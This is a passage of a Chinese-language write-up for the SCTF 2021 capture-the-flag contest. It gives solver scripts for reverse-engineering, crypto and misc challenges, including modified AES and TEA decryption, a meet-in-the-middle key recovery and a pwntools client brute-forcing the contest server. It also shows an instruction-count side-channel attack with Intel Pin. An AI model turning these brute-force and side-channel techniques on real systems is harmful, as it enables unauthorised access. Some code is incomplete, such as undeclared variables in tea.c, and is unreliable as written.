    [0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06],
    [0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b],
    [0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73],
    [0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e],
    [0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b],
    [0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4],
    [0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f],
    [0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef],
    [0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61],
    [0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]
]

def _convert_to_array(plain_int):
    plain_array = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]
    for i in range(4)[::-1]:
        for j in range(4)[::-1]:
            plain_array[j][i] = plain_int & 0xff
            plain_int >>= 8
    return plain_array

def _get_num_from_sbox(index):
    row = (index & 0xf0) >> 4
    col = index & 0xf
    return _aes_s_box[row][col]

def _get_num_from_sbox_inverse(index):
    row = (index & 0xf0) >> 4
    col = index & 0xf
    return _aes_s_box_inverse[row][col]

def _sub_bytes(input_array):
    for i in range(4):
        for j in range(4):
            input_array[i][j] = _get_num_from_sbox(input_array[i][j])

def _sub_bytes_inverse(input_array):
    for i in range(4):
        for j in range(4):
            input_array[i][j] = _get_num_from_sbox_inverse(input_array[i][j])

def _shift_rows(input_array):
    input_array[1] = input_array[1][1:] + [input_array[1][0]]
    input_array[2] = input_array[2][2:] + input_array[2][:2]
    input_array[3] = [input_array[3][3]]  + input_array[3][:3]

def _shift_rows_inverse(input_array):
    input_array[3] =   input_array[3][1:] + [ input_array[3][0] ]
    input_array[2] =   input_array[2][2:]   + input_array[2][:2]
    input_array[1] = [ input_array[1][3] ]  + input_array[1][:3]

columns_matrix = [
    [2, 3, 1, 1],
    [1, 2, 3, 1],
    [1, 1, 2, 3],
    [3, 1, 1, 2]
]

def _mix_columns(input_array):
    res_array = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]
    for i in range(4):
        for j in range(4):
            res = _GF2(0)
            for k in range(4):
                res += _GF2(columns_matrix[i][k]) * _GF2(input_array[k][j])
            res %= _GF2(0b100011011)
            res_array[i][j] = res.data
    return res_array

columns_matrix_inverse = [
    [0xe, 0xb, 0xd, 0x9],
    [0x9, 0xe, 0xb, 0xd],
    [0xd, 0x9, 0xe, 0xb],
    [0xb, 0xd, 0x9, 0xe]
]

def _mix_columns_inverse(input_array):
    res_array = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]
    for i in range(4):
        for j in range(4):
            res = _GF2(0)
            for k in range(4):
                res += _GF2(columns_matrix_inverse[i][k]) * _GF2(input_array[k][j])
            res %= _GF2(0b100011011)
            res_array[i][j] = res.data
    return res_array

def _add_round_key(input_array, key_array):
    for i in range(4):
        for j in range(4):
            input_array[i][j] ^= key_array[i][j]

def _key_schedule(pre_key, round):
    next_key = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]
    # print (pre_key)
    for i in range(4):
        next_key[i][0] = pre_key[i - 3][3]
    _sub_bytes(next_key)
    for i in range(4):
        next_key[i][0] ^= pre_key[i][0]
    next_key[0][0] ^= (_GF2(pow(2, round)) % _GF2(0x11b)).data
    for i in range(1, 4):
        for j in range(4):
            next_key[j][i] = next_key[j][i - 1] ^ pre_key[j][i]
    return next_key

def _aes_key_gen(key):
    key = _convert_to_array(key)
    round_key = [key]
    for i in range(10):
        round_key.append(_key_schedule(round_key[i], i))
    return round_key

def _convert_to_int(input_array):
    output_int = 0
    for i in range(4):
        for j in range(4):
            output_int <<= 8
            output_int |= input_array[j][i]
    return output_int

def sycaes_encrypt(plain_text, key):
    plain_text ^= key
    round_key = _aes_key_gen(key)
    plain_array = _convert_to_array(plain_text)
    for i in range(1, 10):
        _sub_bytes_inverse(plain_array)
        _shift_rows_inverse(plain_array)
        plain_array = _mix_columns(plain_array)
        _add_round_key(plain_array, round_key[i])
    _sub_bytes(plain_array)
    _shift_rows(plain_array)
    _add_round_key(plain_array, round_key[10])
    return _convert_to_int(plain_array)

def sycaes_decrypt(cipher_text, key):
    round_key = _aes_key_gen(key)[::-1]
    cipher_array = _convert_to_array(cipher_text)
    _add_round_key(cipher_array, round_key[0])
    _shift_rows_inverse(cipher_array)
    _sub_bytes_inverse(cipher_array)
    for i in range(1, 10):
        _add_round_key(cipher_array, round_key[i])
        cipher_array = _mix_columns_inverse(cipher_array)
        _shift_rows(cipher_array)
        _sub_bytes(cipher_array)
    _add_round_key(cipher_array, round_key[10])
    return _convert_to_int(cipher_array)

from libnum import *
k = "Welcome_to_sctf!"
ex_key = _aes_key_gen(s2n(k))

cipher = [
    0xBE, 0x1C, 0xB3, 0xF3, 0xA1, 0xF4, 0xE4, 0x63, 0x11, 0xE1, 
    0x1C, 0x6B, 0x54, 0x0A, 0xDF, 0x74, 0xF2, 0x93, 0x55, 0xDA, 
    0x48, 0xFC, 0xA2, 0x3C, 0x89, 0x63, 0x2E, 0x7F, 0x8D, 0xA4, 
    0x6D, 0x4E
]

tmp = 0
for c in cipher[:16]:
    tmp <<= 8
    tmp += c

res = n2s(sycaes_decrypt(tmp, s2n(k)))

print (s2n(res[:4][::-1]))
print (s2n(res[4:8][::-1]))
print (s2n(res[8:12][::-1]))
print (s2n(res[12:][::-1]))

tmp = 0
for c in cipher[16:]:
    tmp <<= 8
    tmp += c

res = n2s(sycaes_decrypt(tmp, s2n(k)))

print (s2n(res[:4][::-1]))
print (s2n(res[4:8][::-1]))
print (s2n(res[8:12][::-1]))
print (s2n(res[12:][::-1]))

galois.py

class GF2:
    def __init__(self, v):
        self.data = v
    def __str__(self):
        return hex(self.data)
    def __repr__(self):
        return "GF2(0x%x)" % self.data
    def __add__(self, other):
        return GF2(self.data ^ other.data)
    def __sub__(self, other):
        return GF2(self.data ^ other.data)
    def __lshift__(self, other):
        return GF2(self.data << other)
    def __eq__(self, other):
        if type(other) == type(1):
            if self.data == other:
                return True
            else: 
                return False
        if type(other) == type(self):
            if self.data == other.data:
                return True
            else: 
                return False
        return False
    def __mul__(self, other):
        ans = 0
        for i in range(len(bin(self.data)) - 2):
            if self.data & (1 << i):
                ans ^= other.data << i
        return GF2(ans)
    def __truediv__(self, other):
        a = self
        b = other
        if b.data == 1:
            return a
        lena = len(bin(a.data)) - 2
        lenb = len(bin(b.data)) - 2
        ans = 0
        while lena >= lenb:
            a = a + (b << lena - lenb)
            ans += 1 << (lena - lenb)
            lena = len(bin(a.data)) - 2
        return GF2(ans)
    def __floordiv__(self, other):
        return self / other
    def __isub__(self, other):
        return self - other
    def __mod__(self, other):
        a = self.data
        b = other.data
        lena = len(bin(a)) - 2
        lenb = len(bin(b)) - 2
        for i in range(lena, lenb - 1, -1):
            if a & (1 << i - 1) != 0:
                a ^= (b << i - lenb)
        return GF2(a)
    def __pow__(self, other, modulo = None):
        d = GF2(1)
        while other > 0:
            if other & 1:
                d = d * self
                if modulo != None:
                    d %= modulo
            other >>= 1
            self *= self
            if modulo != None:
                self %= modulo
        return d

tea.c

#include <stdio.h>  
#include <stdint.h>  
  
//加密函数  
void encrypt (uint32_t* v, uint32_t* k) {  
    uint32_t v0=v[0], v1=v[1], sum=0, i;           /* set up */  
    uint32_t delta=1935897702;                     /* a key schedule constant */  
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */  
    for (i=0; i < 32; i++) {                       /* basic cycle start */  
        sum += delta;  
        v0 += (sum + i )^(((v1<<4) + k2) ^ (v1 + sum) ^ ((v1>>5) + k3));  
        v1 += (sum + i )^(((v0<<4) + k0) ^ (v0 + sum) ^ ((v0>>5) + k1));  
    }                                              /* end cycle */  
    v[0]=v0; v[1]=v1;  
}  
//解密函数  
void decrypt (uint32_t* v, uint32_t* k) {  
    uint32_t delta=1935897702;                     /* a key schedule constant */  
    uint32_t v0=v[0], v1=v[1], sum=delta * 32;
    int i;  /* set up */  
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */  
    for (i=31; i>=0; i--) {                         /* basic cycle start */  
        v1 -= (sum + i )^(((v0<<4) + k0) ^ (v0 + sum) ^ ((v0>>5) + k1)); 
        v0 -= (sum + i )^(((v1<<4) + k2) ^ (v1 + sum) ^ ((v1>>5) + k3)); 
        sum -= delta;  
    }                                              /* end cycle */  
    v[0]=v0; v[1]=v1;  
}  
  
int main(){  
    v[0] = 's' ^ 0x66666666 ^ 2650095043;
    v[1] = 'c' ^ 0x66666666 ^ 1257176610;
    v[2] = 't' ^ 0x66666666 ^ 407123268;
    v[3] = 'f' ^ 0x66666666 ^ 3718944108;
    v[4] = 's' ^ 0x66666666 ^ 703929021;
    v[5] = 'c' ^ 0x66666666 ^ 1889742860;
    v[6] = 't' ^ 2436073003 ^ 0x66666666;
    v[7] = 'f' ^ 2423013887 ^ 0x66666666;
    decrypt(v, k);  
    decrypt(v+2, k);  
    decrypt(v+4, k);  
    decrypt(v+6, k);  
    printf("0x%x, 0x%x, ",v[0],v[1]);  
    printf("0x%x, 0x%x, ",v[2],v[3]);  
    printf("0x%x, 0x%x, ",v[4],v[5]);  
    printf("0x%x, 0x%x\n",v[6],v[7]);  

    return 0;  
}  

SycOS

riscv 架构,ghidra 打开

读取 0x40 长度,每个字符分别计算 0x80 次线性同余方程,然后分两部分存储

0x10 轮加密,依次进行:tea 运算、两部分中各取出 0x100 进行交换,然后进行系统调用,动调发现内核中的处理只是把两部分字符串做了交换

系统调用可以根据 “sys call” 字符串定位到

tea 的加密一个是 16 轮的一个是 8 轮

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "exp.h"
int delta=-0x61c88647;
char str[65];
char tmp[256];
char tmp1[4096];
unsigned long long seed;
unsigned long long mRand()
{
	seed=seed*0x41c64e6d+0x3039;
	return (seed<<0x21)>>0x31;
}
void tea1(char *str)
{
	for (int j=0;j<4096;j+=8)
		{
			auto *ptr=(unsigned int*)(str+j);
			auto t1=ptr[0];
			auto t2=ptr[1];
			int sum=delta*16;
			for (int k=0;k<16;k++)
			{
      			t2 -= t1 + sum ^ (t1<<4) + 0x1A2B3C4D ^ (t1 >> 5) + 0xCC1122AA;
				t1 -= (t2<<4) + 0x11222233 ^ (t2 >> 5) + 0xaabbccdd ^ sum +t2;
				sum-=delta;
			}
			ptr[0]=t1;
			ptr[1]=t2;
		}
}
void tea2(char* str)
{
	for (int j=0;j<4096;j+=8)
		{
			auto *ptr=(unsigned int*)(str+j);
			auto t1=ptr[0];
			auto t2=ptr[1];
			int sum=delta*8;
			for (int k=0;k<8;k++)
			{
      			sum-=delta;
				t1 +=  t2 + sum ^ (t2 <<4) + 0x11222233 ^ (t2 >> 5) + 0xaabbccdd;
      			t2 +=(t1<<4) + 0x1A2B3C4D ^ (t1 >> 5) + 0xCC1122AA ^ sum +t1;
			}
			ptr[0]=t1;
			ptr[1]=t2;
		}
}
void panic()
{
	printf("failed");
	exit(0);
}
int main()
{
	for (int i=15;i>=0;i--)
	{
		memcpy(tmp1,target1,4096);
		memcpy(target1,target2,4096);
		memcpy(target2,tmp1,4096);
		memcpy(tmp,target1+(i*256),256);
		memcpy(target1+(i*256),target2+(15-i)*256,256);
		memcpy(target2+(15-i)*256,tmp,256);	
		tea1(target1);
		tea2(target2);

	}
	for (int i=0;i<0x80;i++)
		printf("0x%02x ",(unsigned char)target2[i]);
	printf("\n\n");
	for (int i=0;i<0x20;i++)
	{
		int an=0;
		for (an=i;an<i+0xff;an++)
		{
			seed=an;
			bool ch=true;
			for (int j=0;j<0x80;j++)
			{
				unsigned char aa=mRand()&0xff;
				unsigned char bb=target1[i*0x80+j]&0xff;
				if (aa!=bb)
				{
					ch=false;
					break;
				}
			}
			if (ch)
				break;
		}
		printf("%x\n",an);
		if (an>=0xff)
		{
			panic();
		}
		str[i]=an-i;
	}
	for (int i=0;i<0x20;i++)
	{
		int an=0;
		for (an=i;an<i+0xff;an++)
		{
			seed=an;
			bool ch=true;
			for (int j=0;j<0x80;j++)
			{
				unsigned char aa=mRand()&0xff;
				unsigned char bb=target2[i*0x80+j]&0xff;
				if (aa!=bb)
				{
					ch=false;
					break;
				}
			}
			if (ch)
				break;
		}
		printf("%x\n",an);
		if (an>=0xff)
		{
			panic();
		}
		str[i+0x20]=an-i;
	}
	printf("%s\n",str);
	return 0;
 } 

SycGame

推箱子游戏

github 找了个自动求解脚本,然后在脚本里加一个 alarm,求解一次的时间超过 3s 就自动退出

https://github.com/tonyling/skb-solver

题目的程序和 github 上的脚本写的都有点问题,最后大概是脚本有 1/5 到 1/10 的概率求解出一轮,接下来爆破一波就行(服务器第一天不太稳定,爆破完不回显 flag…)

from pwn import *
from sympy.ntheory.modular import isprime
import traceback
context.log_level='debug'

def bprint(lst):
    for i in lst:
        for j in i:
            print("%4d "%j,end='')
        print('')
def fprint(lst):
    mpc={1:' ',0:'#',-2:'@',-3:'.',-1:'$'}
    target='20\n'
    for i in lst:
        for j in i:
            target+=("%c"%mpc[j])
        target+="\n"
    open("test.txt","w").write(target)
maxn=0
while (True):
    try:
        p=remote("124.70.152.166",1448)
        p.recvuntil(b":")
        p.send(b"Y\n")
        for i in range(4):
            p.recvuntil(b"\n")
            buffer=p.recvuntil(b"\n").decode()[:-2]
            _mp=list(map(int,buffer.split(" ")))
            mp0=[(0 if isprime(i) else 1) if i>0 else i for i in _mp]
            mp=[[mp0[i*20+j] for j in range(20)]for i in range(20)]
            mpback=[[mp0[i*20+j] for j in range(20)]for i in range(20)]
            bprint(mp)
            fprint(mp)
            data=os.popen('./a.out test.txt').read()
            print(data)
            p.send(data.encode())
            p.recvuntil(":")
            p.send(b"Y\n")
            rec=p.recvuntil("\n")
            print(rec)
            maxn=max(maxn,i+1)
        i=4
        p.recvuntil(b"\n")
        buffer=p.recvuntil(b"\n").decode()[:-2]
        _mp=list(map(int,buffer.split(" ")))
        mp0=[(0 if isprime(i) else 1) if i>0 else i for i in _mp]
        mp=[[mp0[i*20+j] for j in range(20)]for i in range(20)]
        mpback=[[mp0[i*20+j] for j in range(20)]for i in range(20)]
        bprint(mp)
        fprint(mp)
        data=os.popen('./a.out test.txt').read()
        print(data)
        p.send(data.encode())
        dt=p.recvuntil(b"Y")
        print("recieved:",end='')
        print(dt)
        i=5
        p.interactive()
    except:
        if (i==4):
            traceback.print_exc()
        if (i==5):
            break
        p.close()
        print("maxn:%d"%maxn)
        pass

Crypto

ciruit map

是个混淆电路,目标 flag 最终就是要求出 keys

电路中多给了一个值是 validation,用这个值可以构造中间相遇攻击,从而将秘钥爆破空间缩小到 2**24,pypy3 跑然后在密钥空间中验证电路是否能通,能通的就是正确的秘钥

from block_cipher import encrypt_data, decrypt_data, decrypt
from collections import defaultdict
from tqdm import tqdm
G_Table = { 5: [(13303835, 2123830),
            (2801785, 11303723),
            (13499998, 248615),
            (13892520, 7462011)],
            6: [(3244202, 918053),
            (3277177, 6281266),
            (1016382, 7097624),
            (10016472, 13600867)],
            7: [(5944875, 3442862),
            (7358369, 8423543),
            (6495696, 9927178),
            (13271900, 11855272)],
            9: [(5333988, 87113),
            (9375869, 11687470),
            (5011062, 14981756),
            (2509493, 12330305)]}

print('[!] generating lookup table...')
ENCRYPTIONS_OF_ZERO = defaultdict(list)
for key in tqdm(range(2**24)):
    ct = encrypt_data(0, key)
    ENCRYPTIONS_OF_ZERO[ct].append(key)
def meet_in_the_middle(ct):
    print('[!] performing meet-in-the-middle attack for', ct)
    possible = defaultdict(list)
    for key in tqdm(range(2**24)):
        dec = decrypt_data(ct, key)
        if dec in ENCRYPTIONS_OF_ZERO:
            possible[key] = ENCRYPTIONS_OF_ZERO[dec]
    return possible
def recover_keys(Z, C):
    print('[!] recovering keys...')
    z1, z2, z3, z4 = Z
    c1, c2, c3, c4 = C
    for b0 in tqdm(z1):
        for a0 in z1[b0]:
            p1 = decrypt(c1, a0, b0)
            for c,z in zip([c2, c3, c4], [z2, z3, z4]):
                for a1 in z[b0]:
                    if p1 == decrypt(c, a1, b0):
                        b1 = recover_keys_part2(Z, C, a0, b0)
                        if b1:
                            print(c1)
                            print(c)
                            print(f'a0 = {a0}, b0 = {b0}')
                            print(f'a1 = {a1}, b1 = {b1}')
                            return True
    return False
                
def recover_keys_part2(Z, C, a0, b0):
    z1, z2, z3, z4 = Z
    c1, c2, c3, c4 = C
    for c,z in zip([c2,c3,c4], [z2,z3,z4]):
        for b1 in z:
            if a0 in z[b1] and decrypt(c, a0, b1) == decrypt(c1, a0, b0):
                return b1
    return False
# Z是四个字典,键是key2, 值是key1
for i in [7]:
    Z = [meet_in_the_middle(G_Table[i][j][1]) for j in range(4)]
    C = [g[0] for g in G_Table[i]]
    for i in range(4):
        if recover_keys([Z[i]] + Z[:i] + Z[i+1:], [C[i]] + C[:i] + C[i+1:]):
            break
###############################################################
from block_cipher import decrypt
G_Table = { 5: [(13303835, 2123830),
            (2801785, 11303723),
            (13499998, 248615),
            (13892520, 7462011)],
            6: [(3244202, 918053),
            (3277177, 6281266),
            (1016382, 7097624),
            (10016472, 13600867)],
            7: [(5944875, 3442862),
            (7358369, 8423543),
            (6495696, 9927178),
            (13271900, 11855272)],
            9: [(5333988, 87113),
            (9375869, 11687470),
            (5011062, 14981756),
            (2509493, 12330305)]}
def validate_the_circuit(geta_table, key0, key1):
    for g in geta_table:
        gl, v = g
        label = decrypt(gl, key0, key1)
        validation = decrypt(v, key0, key1)
        
        if validation == 0:
            return label
geta5 = G_Table[5]
geta6 = G_Table[6]
geta7 = G_Table[7]
geta9 = G_Table[9]
key0 = 8680011
key1 = 2096572
msg = validate_the_circuit(geta9, key0, key1)
print('key[9][1] = ', msg)
# keys[1][0] = 8343801
# keys[1][1] = 13675268
# keys[2][0] = 10251687
# keys[2][1] = 12870274
# keys[3][0] = 6827786
# keys[3][1] = 12490757
# keys[4][0] = 2096572
# keys[4][1] = 3391233
# keys[5][0] = 15707475
# keys[5][1] = 4567418
# keys[6][0] = 14095476
# keys[6][1] = 3648155
# key[7][0] = 14409690
# key[7][1] =  8680011
# key[9][0] =  9376523
# key[9][1] =  2504390
###############################################################
import hashlib
from Crypto.Util.number import *
from libnum import n2s
# keys[1][0] = 8343801
# keys[1][1] = 13675268
# keys[2][0] = 10251687
# keys[2][1] = 12870274
# keys[3][0] = 6827786
# keys[3][1] = 12490757
# keys[4][0] = 2096572
# keys[4][1] = 3391233
# keys[5][0] = 15707475
# keys[5][1] = 4567418
# keys[6][0] = 14095476
# keys[6][1] = 3648155
# keys[7][0] = 14409690
# keys[7][1] =  8680011
# keys[9][0] =  9376523
# keys[9][1] =  2504390
keys = [[8343801, 13675268], [10251687, 12870274], [6827786, 12490757], [2096572, 3391233], [15707475, 4567418], [14095476, 3648155], [14409690, 8680011], [9376523, 2504390]]
def xor(A, B):
    return bytes(a ^ b for a, b in zip(A, B))
the_chaos=b''
for i in keys:
    tmp = sum(i)
    the_chaos += bytes(long_to_bytes(tmp))
mask = hashlib.md5(the_chaos).digest()
flag = xor(mask,n2s(0x1661fe85c7b01b3db1d432ad3c5ac83a))
print(flag)

Misc

This_is_A_tree

一个树型解密,随便找了个脚本改了改

#!/usr/bin/python  
# -*- coding:utf8 -*-  
import os  
allFileNum = 0  
file_contents_list = []
def printPath(level, path):  
    global allFileNum  
    # 所有文件夹,第一个字段是次目录的级别  
    dirList = []  
    # 所有文件  
    fileList = []
    # exp
    global file_contents_list
    # exp
    # 返回一个列表,其中包含在目录条目的名称(google翻译)  
    files = os.listdir(path)  
    # 先添加目录级别  
    dirList.append(str(level))  
    for f in files:  
        if(os.path.isdir(path + '/' + f)):  
            # 排除隐藏文件夹。因为隐藏文件夹过多  
            if(f[0] == '.'):  
                pass  
            else:  
                # 添加非隐藏文件夹  
                dirList.append(f)  
        if(os.path.isfile(path + '/' + f)):  
            # 添加文件
            fileList.append(f)
            # exp添加内容
            if f != 'exp.py':
                file_contents_list.append(open(path + '\\' + f, 'r').read())
            # exp
    # 当一个标志使用,文件夹列表第一个级别不打印  
    i_dl = 0  
    for dl in dirList:  
        if(i_dl == 0):  
            i_dl = i_dl + 1  
        else:  
            # 打印至控制台,不是第一个的目录  
            print('-' * (int(dirList[0])), dl)  
            # 打印目录下的所有文件夹和文件,目录级别+1  
            printPath((int(dirList[0]) + 1), path + '/' + dl)  
    for fl in fileList:  
        # 打印文件  
        print('-' * (int(dirList[0])), fl)  
        # 随便计算一下有多少个文件  
        allFileNum = allFileNum + 1
    return file_contents_list
 
if __name__ == '__main__':  
    contents_list = printPath(1, 'D:\\CTF题目\\2021SCTF\\misc\\78afbe21e9334e83a265e984a1aa9ddd')  
    # print('总文件数 =', allFileNum)
    print("".join(contents_list))

解密完base64一下是个八卦序列,师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫 https://blog.csdn.net/weixin_44110537/article/details/107494966

脚本如下,输入换一下,删一点后面的就行

def decrypt4(enc):
    temp=''
    offset=5
    for i in range(len(enc)):
        temp+=chr(ord(enc[i])+offset+i)
    return temp
def decrypt5(flag):
    for a in range(1,200):
        enc = ''
        for i in flag:
            for k in range(200):
                 if (ord(i) - 97 - 7+26*k)%a==0:
                    enc+= chr((ord(i) - 97 - 7 + 26 * k) // a + 97)
                    break
        print(enc)

s='师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫'
dic={'坤': '000000', '剥': '000001', '比': '000010', '观': '000011', '豫': '000100', '晋': '000101', '萃': '000110', '否': '000111', '谦': '001000', '艮': '001001', '蹇': '001010', '渐': '001011', '小过': '001100', '旅': '001101', '咸': '001110', '遁': '001111', '师': '010000', '蒙': '010001', '坎': '010010', '涣': '010011', '解': '010100', '未济': '010101', '困': '010110', '讼': '010111', '升': '011000', '蛊': '011001', '井': '011010', '巽': '011011', '恒': '011100', '鼎': '011101', '大过': '011110', '姤': '011111', '复': '100000', '颐': '100001', '屯': '100010', '益': '100011', '震': '100100', '噬嗑': '100101', '随': '100110', '无妄': '100111', '明夷': '101000', '贲': '101001', '既济': '101010', '家人': '101011', '丰': '101100', '离': '101101', '革': '101110', '同人': '101111', '临': '110000', '损': '110001', '节': '110010', '中孚': '110011', '归妹': '110100', '睽': '110101', '兑': '110110', '履': '110111', '泰': '111000', '大畜': '111001', '需': '111010', '小畜': '111011', '大壮': '111100', '大有': '111101', '夬': '111110', '乾': '111111'}
li=[]
k=0
for i in range(len(s)):
    if k ==1:
        k=0
        continue
    try:
        li.append(dic[s[i]])
    except:
        t=''
        t=t+s[i]+s[i+1]
        li.append(dic[t])
        k=1
ss=''.join(li)
print(ss)
enc=''
for i in range(0,len(ss),8):
    enc+=chr(eval('0b'+ss[i:i+8]))
import base64
print(enc)
x=base64.b64decode(enc).decode()
print(x)
x=decrypt4(x)
x=decrypt5(x)

fumo_xor_cli

nc 远程发现是通过五颜六色的字符打印出一个 gif,肉眼发现有两帧不一样,把 nc 到的字节流重定向到本地文件,然后手动把这两帧提取出来,都是 50*133 个字符的。

无意间发现链接的公众号推送的最后一张图有异样,下载原图,仔细观察发现:

有规律的藏有五颜六色的像素,提取出来,发现是 133*100 的,把这个拆成两个 50*133 ,然后都旋转为正的,将 4 张 50*133 的图异或,发现大部分都是 (0,0,0),部分是三个一样的,再经过一些简单的图片处理,得到flag。

全程处理数据的脚本:

from PIL import Image
import numpy as np
def rerange(s):
    t = []
    for i in range(len(s[0])):
        t.append([s[_][i] for _ in range(len(s))])
    return t

f = Image.open('640.png')

a = np.array(f)
cnt = 0
wx_list_1 = []
wx_list_2 = []
for i in range(len(a)):
    if i % 9 == 1 and i < 1190:
        b = a[i]
        now_list_1 = []
        now_list_2 = []
        cnt_j = 0
        for j in range(len(b)):
            if j % 9 == 1:
                if cnt_j < 50:
                    now_list_1.append(b[j])
                else:
                    now_list_2.append(b[j])
                cnt_j += 1
        wx_list_1.append(now_list_1)
        wx_list_2.append(now_list_2)
        cnt += 1
wx_list_1 = rerange(wx_list_1)
wx_list_2 = rerange(wx_list_2)

import re
fp = open('pic1.txt', 'rb')
list_1 = []
for line in fp.readlines():
    pattern = re.compile(r'\[\d+;\d+;(\d+);(\d+);(\d+)ma')
    a = pattern.findall(line.decode())
    a = [(int(_[0]), int(_[1]), int(_[2])) for _ in a]
    list_1.append(a)
fp.close()

fp = open('pic2.txt', 'rb')
list_2 = []
for line in fp.readlines():
    pattern = re.compile(r'\[\d+;\d+;(\d+);(\d+);(\d+)m[a-zA-Z0-9\:\/\.\_]')
    a = pattern.findall(line.decode())
    a = [(int(_[0]), int(_[1]), int(_[2])) for _ in a]
    list_2.append(a)
fp.close()

fp = open('pic3', 'wb')
for i in range(len(list_1)):
    a, b = wx_list_1[i], list_1[i]
    c, d = wx_list_2[i], list_2[i]
    for j in range(len(a)):
        r1, g1, b1 = a[j]
        r2, g2, b2 = b[j]
        r3, g3, b3 = c[j]
        r4, g4, b4 = d[j]
        
        r0 = r2 ^ r1 ^ r3 ^ r4
        g0 = g2 ^ g1 ^ g3 ^ g4
        b0 = b2 ^ b1 ^ b3 ^ b4
        if r0 != 0:
            r0, b0, g0 = 255, 255, 255
        #     # c0 = chr(ord(c1) ^ ord(c2))
        payload = '[38;2;%d;%d;%dm▇' % (r0, g0, b0)
        fp.write(b'\x1b' + payload.encode())
    fp.write('\n'.encode())

in_the_vaporwaves

用国赛的华为音响播放(应该是个非预期)直接听到了莫斯码,录音下来的结果

摩斯码:

.../-.-./-/..-./-.././.../.----/.-./...--/..--.-/-../.-./../...-/./.../..--.-/../-./-/-----/..--.-/...-/.-/.--./---/.-./.--/.--.-./...-/./...

解莫斯码得到flag

low_re

vmp 壳,根据题目描述,应该无法逆向出正确的逻辑,什么信息都没有的情况下想到用 pintools 来试试,手动尝试发现长度是 17 位,并且指令数量差异很明显

按位爆破:

import subprocess
import string

password = "S1deCh4nnelAtt@ck"
cur = 17

charset = string.digits + string.ascii_letters + string.punctuation

for i in charset:
    command = "echo " + password[:cur] + i + password[cur + 1:] + " | ./pin.exe -t source/tools/ManualExamples/obj-intel64/inscount0.dll -- ./low_re.exe; cat inscount.out"
    output = subprocess.check_output(command, shell=True, stderr=subprocess.PIPE)
    print (password[:cur] + i, output)

指令数量差异很明显,可以直接猜测单词加快速度